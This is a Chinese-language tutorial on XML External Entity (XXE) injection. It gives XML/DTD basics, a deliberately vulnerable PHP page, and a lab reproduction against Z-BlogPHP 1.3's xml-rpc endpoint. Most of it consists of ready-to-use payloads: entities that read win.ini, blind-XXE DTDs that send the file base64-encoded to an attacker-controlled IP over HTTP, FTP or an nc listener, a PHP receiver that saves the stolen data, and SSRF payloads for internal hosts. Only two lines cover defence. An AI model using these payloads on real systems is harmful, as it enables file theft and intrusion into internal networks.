0x00 概述
XXE(XML External Entity attack),即外部实体注入,攻击利用xml作为数据交换的功能点,较为少见,但是威力巨大。
0x01 危害
- 任意文件读取,如/etc/passwd
- 命令执行(expect://id)
- 内网端口探测
- 攻击内网网站(struts2)
- DOS(billion laughs)
0x02 前置知识
XML:
一种允许用户对自己的标记语言进行定义的源语言。
文档结构包括:
1.XML声明:
<?xml version=”1.0″?>
2.DTD文档类型定义(可选)
DTD 可以在 XML 文档内声明,也可以外部声明。
内部声明:
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
外部声明:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> note.dtd: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
很像css的内部样式和外部样式。
dtd实体用于定义引用普通文本或特殊字符的快捷方式的变量。
分为一般实体和参数实体。
一般实体:<!ENTITY 实体名 “实体内容“>
&实体名
参数实体:<!ENTITY % 实体名 “实体内容“>
%实体名
内部实体声明:
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
外部实体声明:
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&writer;©right;</author>
3.文档元素
<note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
0x02 原理分析
有回显:
测试代码:
//测试代码来源
//www.mottoin.com/wp-content/uploads/2016/11/xxe.txt
<?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); # http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; ?>
Payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C://windows/win.ini" >]> <creds> <user>&xxe;</user> </creds>
无回显(blind-xxe):
注释掉测试代码的echo即可。
这里利用两种方法获取win.ini的数据:
1.可控的远程主机写入数据:
Payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd"> %remote;]> <foo/>
xxe.dtd: <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.173:8999/getxxeinfo.php?p=%payload;'>"> %int; %trick;
注意这里实体值的%要html编码即%
getxxeinfo.php:
<?php file_put_contents('xxeinfo.txt', $_GET['p']); ?>
查看xxeinfo.txt:
2.可控远程主机日志记录:
Payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://192.168.43.237:80/file.dtd"> %remote;]> </foo> File.dtd: <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:80/?p=%payload;'>"> %int; %trick;
查看日志:
192.168.43.173 – – [06/Apr/2018:01:03:08 +0800] “GET /?p=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNQ0kgRXh0ZW5zaW9ucy5CQUtdDQozZzI9TVBFR1ZpZGVvDQozZ3A9TVBFR1ZpZGVvDQozZ3AyPU1QRUdWaWRlbw0KM2dwcD1NUEVHVmlkZW8NCmFhYz1NUEVHVmlkZW8NCmFkdD1NUEVHVmlkZW8NCmFkdHM9TVBFR1ZpZGVvDQptMnQ9TVBFR1ZpZGVvDQptMnRzPU1QRUdWaWRlbw0KbTJ2PU1QRUdWaWRlbw0KbTRhPU1QRUdWaWRlbw0KbTR2PU1QRUdWaWRlbw0KbW9kPU1QRUdWaWRlbw0KbW92PU1QRUdWaWRlbw0KbXA0PU1QRUdWaWRlbw0KbXA0dj1NUEVHVmlkZW8NCm10cz1NUEVHVmlkZW8NCnRzPU1QRUdWaWRlbw0KdHRzPU1QRUdWaWRlbw0KW1hMU2VydmljZVBsYXRmb3JtX1RwTG9hZGVyXQ0K HTTP/1.0” 302 – “-” “-”
除了http和file协议,还可以使用其他协议,如下图:
某些协议要安装对应模块,如下图:
XXE还可以形成ssrf,如请求内网另一台主机的文件,如以下payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright[ <!ENTITY test SYSTEM "http://192.168.0.2/robots.txt"> ]> <reset> <login>&test;</login> <secret>login</secret> </reset>
如果禁用了外部实体,还有doctype可以用来ssrf,如:
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data> 或 #!xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf"> <roottag>not an entity attack!</roottag>
0x03 漏洞重现
利用Z-BlogPHP 1.3 Wonce Build 140614来实际重现xxe漏洞。
漏洞出现在:
zb_system/xml-rpc/index.php:635
$zbp->Load(); Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError',PLUGIN_EXITSIGNAL_RETURN); $xmlstring = file_get_contents( 'php://input' ); //logs($xmlstring); $xml = simplexml_load_string($xmlstring); if($xml){ $method=(string)$xml->methodName; switch ($method) { case 'blogger.getUsersBlogs': $username=(string)$xml->params->param[1]->value->string; $password=(string)$xml->params->param[2]->value->string; if(!$zbp->Verify_Original($username,$password)){ShowError(8,__FILE__,__LINE__);} if($zbp->CheckRights('admin')){ zbp_getUsersBlogs(); }else{ $zbp->ShowError(6,__FILE__,__LINE__); } break; case 'wp.getCategories':
直接simplexml_load_string,造成明显的xxe。
查看接下来的代码,貌似要经过身份验证才能回显信息,如果没有帐号密码就会showerror,这样就要利用blind-xxe了。
向zb_system/xml-rpc/index.php直接post payload:
Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd"> %remote;]> <foo/>
Xxe.dtd和原理分析的内容一样
查看xxeinfo.txt:
成功获得win.ini数据!
还可以利用nc在可控远程主机监听数据:
xxe.dtd: <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:1234/?p=%payload;'>"> %int; %trick;
xxe.dtd: <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://%payload;lsa@192.168.43.237:2121/'>"> %int; %trick;
//利用脚本https//github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
Ps:发现一个有意思的现象,本人原想利用p神发现的zblog1.4(Z-BlogPHP 1.4 Deeplue Build 150101)xxe漏洞进行重现,但是发现该版本的代码加了
libxml_disable_entity_loader(true);
然而https://www.secpulse.com/archives/32838.html里却没加这行代码,并且$zbp->Load();都是对应的641行,真神奇……
0x04 防御方案
- 禁用外部实体。
- 过滤提交的xml数据。
0x05 如何寻找
查看接受xml内容的功能点,尝试修改content-type为xml,响应如果解析了xml则可能有xxe。
0x06 结语
XXE漏洞还是比较少见,但是危害却十分大,不可小觑。
相关工具:https://github.com/enjoiz/XXEinjector
更多payload参考:
https://xz.aliyun.com/t/2249
0x07 参考资料
https://blog.csdn.net/cristianojason/article/details/51000438
https://www.secpulse.com/archives/32838.html
www.mottoin.com/92794.html
https://www.cnblogs.com/r00tuser/p/7255939.html
www.freebuf.com/articles/web/126788.html
www.freebuf.com/articles/web/97833.html
www.w3school.com.cn/dtd/
https://xz.aliyun.com/t/2249
drops.xmd5.com/static/drops/tips-5290.html
https://www.anquanke.com/post/id/86075
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet